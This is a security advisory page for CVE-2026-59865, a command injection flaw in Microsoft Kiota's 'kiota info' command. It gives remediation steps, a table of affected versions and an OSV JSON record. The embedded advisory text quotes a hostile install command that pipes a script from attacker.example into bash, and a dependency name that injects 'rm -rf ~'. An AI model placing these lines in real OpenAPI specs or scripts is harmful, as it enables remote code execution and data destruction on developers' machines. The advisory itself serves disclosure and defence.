CVE-2026-59865: Microsoft Kiota Command Injection Vulnerability
CRITICALCVE-2026-59865 is a CRITICAL command injection vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting Microsoft Kiota libraries in the NuGet ecosystem. The issue involves command injection via x-ms-kiota-info dependencyinstallcommand surfaced by `kiota info`. Remediation is available by upgrading affected packages to version 1.32.5, 1.29.1.
CVE-2026-59865 at a Glance
How to Fix CVE-2026-59865
To remediate this vulnerability, upgrade all affected Microsoft Kiota dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade Microsoft.OpenApi.Kiota to 1.32.5
Upgrade Microsoft.OpenApi.Kiota.Builder to 1.32.5
Upgrade Microsoft.OpenApi.Kiota to 1.29.1
Upgrade Microsoft.OpenApi.Kiota.Builder to 1.29.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for Microsoft.OpenApi.Kiota
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-59865, inspect your project dependencies for Microsoft Kiota:
inspect dependencies for Microsoft.OpenApi.Kiota
Analyze the terminal output to locate any version of Microsoft Kiota in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.32.5), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In Microsoft Kiota, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59865 Affected Microsoft Kiota Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
Microsoft.OpenApi.Kiota
|
NuGet |
≥ 1.30.0
< 1.32.5
|
1.32.5
|
|
Microsoft.OpenApi.Kiota.Builder
|
NuGet |
≥ 1.30.0
< 1.32.5
|
1.32.5
|
|
Microsoft.OpenApi.Kiota
|
NuGet |
< 1.29.1
|
1.29.1
|
|
Microsoft.OpenApi.Kiota.Builder
|
NuGet |
< 1.29.1
|
1.29.1
|
References
Frequently Asked Questions
What is CVE-2026-59865?
Which Microsoft Kiota versions are affected?
What version fixes CVE-2026-59865?
Is Microsoft.OpenApi.Kiota affected?
Is Microsoft.OpenApi.Kiota.Builder affected?
What CWE is associated with CVE-2026-59865?
How can I check NuGet dependencies for CVE-2026-59865?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hq9q-27g5-qwpj",
"modified" : "2026-08-17T14:55:20Z",
"published" : "2026-07-24T16:11:46Z",
"aliases" : [ "CVE-2026-59865" ],
"summary" : "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`",
"details" : "### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d <attacker-spec> -l CSharp\n ...\n Hint: use the install command to install the dependencies.\n Example:\n curl -s https://attacker.example/x.sh | bash # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n languagesInformation:\n CSharp:\n dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "NuGet",
"name" : "Microsoft.OpenApi.Kiota"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.30.0"
}, {
"fixed" : "1.32.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "NuGet",
"name" : "Microsoft.OpenApi.Kiota.Builder"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.30.0"
}, {
"fixed" : "1.32.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "NuGet",
"name" : "Microsoft.OpenApi.Kiota"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.29.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "NuGet",
"name" : "Microsoft.OpenApi.Kiota.Builder"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.29.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59865"
}, {
"type" : "WEB",
"url" : "https://github.com/microsoft/kiota/pull/7883"
}, {
"type" : "WEB",
"url" : "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/microsoft/kiota"
}, {
"type" : "WEB",
"url" : "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-829", "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T16:11:46Z",
"nvd_published_at" : "2026-07-16T16:19:15Z"
}
}